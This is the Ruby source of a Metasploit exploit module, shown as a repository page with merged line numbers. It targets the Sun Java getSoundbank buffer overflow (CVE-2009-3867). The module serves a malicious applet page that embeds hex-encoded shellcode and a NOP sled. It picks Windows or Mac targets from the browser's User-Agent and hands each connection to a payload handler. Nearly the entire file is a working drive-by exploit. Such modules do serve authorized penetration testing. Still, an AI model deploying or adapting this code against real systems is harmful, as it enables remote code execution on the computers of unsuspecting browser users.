Path: blob/master/modules/exploits/multi/browser/java_getsoundbank_bof.rb
31430 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Sun Java JRE getSoundbank file:// URI Buffer Overflow',18'Description' => %q{19This module exploits a flaw in the getSoundbank function in the Sun JVM.2021The payload is serialized and passed to the applet via PARAM tags. It must be22a native payload.2324The effected Java versions are JDK and JRE 6 Update 16 and earlier,25JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and26earlier, and SDK and JRE 1.3.1_26 and earlier.2728NOTE: Although all of the above versions are reportedly vulnerable, only291.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.30},31'License' => MSF_LICENSE,32'Author' => [33'kf', # Original PoC/exploit34'jduck' # metasploit version35],36'References' => [37[ 'CVE', '2009-3867' ],38[ 'OSVDB', '59711' ],39[ 'BID', '36881' ],40[ 'ZDI', '09-076' ]41],42'Payload' => {43'Space' => 1024,44'BadChars' => '',45'DisableNops' => true46},47'Targets' => [48=begin4950No automatic targetting for now ...5152[ 'J2SE 1.6_16 Automatic',53{54'Platform' => %w{ linux osx win },55'Arch' => [ARCH_X86, ARCH_PPC]56}57],58=end59[60'J2SE 1.6_16 on Windows x86',61{62'Platform' => 'win',63'Arch' => ARCH_X8664}65],66[67'J2SE 1.6_16 on Mac OS X PPC',68{69'Platform' => 'osx',70'Arch' => ARCH_PPC71}72],73[74'J2SE 1.6_16 on Mac OS X x86',75{76'Platform' => 'osx',77'Arch' => ARCH_X8678}79],80],81'DefaultTarget' => 0,82'DisclosureDate' => '2009-11-04',83'Notes' => {84'Reliability' => UNKNOWN_RELIABILITY,85'Stability' => UNKNOWN_STABILITY,86'SideEffects' => UNKNOWN_SIDE_EFFECTS87}88)89)90end9192def exploit93# load the static jar94path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2009-3867.jar')95fd = File.open(path, 'rb')96@jar_data = fd.read(fd.stat.size)97fd.close9899super100end101102def on_request_uri(cli, req)103# Create a cached mapping between IP and detected target104@targetcache ||= {}105@targetcache[cli.peerhost] ||= {}106@targetcache[cli.peerhost][:update] = Time.now.to_i107108if (target.name =~ /Automatic/)109case req.headers['User-Agent']110when /Windows/i111print_status('Choosing a Windows target')112@targetcache[cli.peerhost][:target] = targets[1]113when /PPC Mac OS X/i114print_status('Choosing a Mac OS X PPC target')115@targetcache[cli.peerhost][:target] = targets[2]116when /Intel Mac OS X/i117print_status('Choosing a Mac OS X x86 target')118@targetcache[cli.peerhost][:target] = targets[3]119else120print_status("Unknown target for: #{req.headers['User-Agent']}")121end122end123124# Clean the cache125rmq = []126@targetcache.each_key do |addr|127if (Time.now.to_i > @targetcache[addr][:update] + 60)128rmq.push addr129end130end131132rmq.each { |addr| @targetcache.delete(addr) }133134# Request processing135if (!req.uri.match(/\.jar$/i))136137# Redirect to the base directory so the applet code loads...138if (!req.uri.match(%r{/$}))139print_status('Sending redirect so path ends with / ...')140send_redirect(cli, get_resource + '/', '')141return142end143144# Display the applet loading HTML145print_status('Sending HTML')146send_response_html(cli, generate_html(payload.encoded),147{148'Content-Type' => 'text/html',149'Pragma' => 'no-cache'150})151return152end153154# Send the actual applet over155print_status('Sending applet')156send_response(cli, generate_applet(cli, req),157{158'Content-Type' => 'application/octet-stream',159'Pragma' => 'no-cache'160})161162# Handle the payload163handler(cli)164end165166def generate_html(pl)167html = <<~EOF168<html>169<head>170<!-- <meta http-equiv=refresh content=10 /> -->171</head>172<body>173<applet width='100%' height='100%' code='AppletX' archive='JARNAME'>174<param name='sc' value='SCODE' />175<param name='np' value='NOPS' />176</applet>177</body>178</html>179EOF180181# finalize the html182jar_name = rand_text_alphanumeric(32) + '.jar'183html.gsub!(/JARNAME/, jar_name)184185# add payload186debug_payload = false187pload = ''188pload << "\xcc" if debug_payload189pload << pl190if ((pload.length % 4) > 0)191pload << rand_text((4 - (pload.length % 4)))192end193if debug_payload194print_status("pload #{pload.length} bytes:\n" + Rex::Text.to_hex_dump(pload))195end196html.gsub!(/SCODE/, Rex::Text.to_hex(pload, ''))197198# add nops199nops = "\x90\x90\x90\x90"200html.gsub!(/NOPS/, Rex::Text.to_hex(nops, ''))201# print_status("nops #{nops.length} bytes:\n" + Rex::Text.to_hex_dump(nops))202203return html204end205206def generate_applet(cli, _req)207if (target.name =~ /Automatic/)208if (@targetcache[cli.peerhost][:target])209@targetcache[cli.peerhost][:target]210else211return ''212end213else214target215end216217return @jar_data218end219end220221222